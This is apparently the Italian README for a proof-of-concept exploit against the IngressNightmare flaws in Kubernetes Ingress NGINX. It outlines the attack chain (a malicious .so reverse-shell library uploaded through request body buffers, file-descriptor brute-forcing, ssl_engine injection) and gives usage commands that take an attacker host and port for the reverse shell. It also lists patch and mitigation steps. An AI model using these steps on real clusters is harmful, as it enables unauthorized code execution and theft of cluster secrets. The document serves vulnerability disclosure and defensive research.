
Questo è un codice PoC per sfruttare le vulnerabilità IngressNightmare (CVE-2025-1097, CVE-2025-1098, CVE-2025-24514 e CVE-2025-1974).
Questo progetto fornisce un exploit che mira a vulnerabilità critiche di Remote Code Execution (RCE) non autenticata nel controller Ingress NGINX per Kubernetes, note collettivamente come IngressNightmare. (Ricerca di Wiz)
Nella ricerca originale, il team di Wiz non ha fornito un PoC o un exploit funzionante, quindi abbiamo deciso di crearne uno nostro e condividerlo con la community.
Il controller Ingress NGINX è un componente ampiamente utilizzato negli ambienti Kubernetes, che gestisce l'accesso esterno ai servizi all'interno dei cluster. Recenti vulnerabilità (CVE-2025-1097, CVE-2025-1098, CVE-2025-24514, CVE-2025-1974) scoperte nel suo admission controller possono portare all'accesso non autorizzato a tutti i secrets attraverso i namespace e potenzialmente consentire la completa compromissione del cluster.
https://github.com/user-attachments/assets/9e893abf-5c01-4fcb-ad79-7115b429281f
L'exploit segue questi passaggi principali:
Genera l'oggetto condiviso (usato dalla proprietà ssl_engine iniettata):
Compila una libreria .so (evil_engine.so) contenente il payload di reverse shell.
Carica l'oggetto condiviso:
Invia l'oggetto condiviso compilato al pod ingress, sfruttando la gestione delle richieste (client body buffers). Il trucco qui è inviare un Content-Length diverso al server per mantenere la connessione aperta e mantenere il file descriptor per il file aperto.
Brute-force del fd: Itera sugli ID dei processi e sui descrittori di file (/proc/{pid}/fd/{fd}) per identificare il descrittore corretto che fa riferimento all'oggetto caricato.
Utilizzo
Prerequisiti: Python 3.x GCC compiler Python requests module
Esegui l'exploit:
pip3 install -r requirements.txt
python3 exploit.py <ingress_url> <admission_webhook_url> [attacker_host:port](https://github.com/hakaioffsec/ingressnightmare-poc/blob/HEAD/attacker_host:port)
Es.: python3 xpl.py http://192.168.0.154 https://rke2-ingress-nginx-controller-admission.kube-system 192.168.1.63:443
A volte l'admission webhook si trova in un namespace diverso. In questo caso, devi specificare il namespace alla fine, come kube-system, default o ingress-nginx.
<ingress_url>: URL dell'Ingress di destinazione (pubblico)
<admission_webhook_url>: URL dell'admission webhook (webhook interno)
attacker_host:port: Il tuo host e la tua porta per la reverse shell
Aggiorna immediatamente: aggiorna il controller Ingress NGINX alle versioni corrette (1.12.1 o 1.11.5).
Limita l'admission webhook: limita l'accesso al webhook al solo Kubernetes API Server.
Disattivazione temporanea: valuta la possibilità di disattivare temporaneamente il componente admission controller se l'aggiornamento non è immediatamente possibile.
QuimeraX Intelligence è una piattaforma avanzata di EASM e Cyber Threat Intelligence specializzata nell'identificazione di vulnerabilità critiche in sistemi complessi. La piattaforma monitora in modo proattivo, rileva e allerta i clienti sulle minacce alla sicurezza, garantendo trasparenza e risposta rapida ai potenziali rischi. I clienti ricevono notifiche immediate e report completi se i loro sistemi risultano vulnerabili, consentendo loro di adottare azioni protettive. scopri di più
Hakai Security è un'azienda di cybersecurity fondata da professionisti della sicurezza, impegnata nell'eccellenza tecnica. Offriamo soluzioni di sicurezza personalizzate, tra cui test di penetrazione avanzati, simulazioni Red Team realistiche e pratiche di sviluppo sicuro, per proteggere in modo proattivo gli asset dei nostri clienti dalle minacce informatiche in continua evoluzione. scopri di più
Disclaimer
Questo exploit è fornito esclusivamente a scopo educativo e di ricerca. L'uso non autorizzato di questo strumento contro obiettivi senza esplicita autorizzazione. Hakai Security e QuimeraX non si assumono alcuna responsabilità per usi impropri o danni causati dall'utilizzo di questo exploit.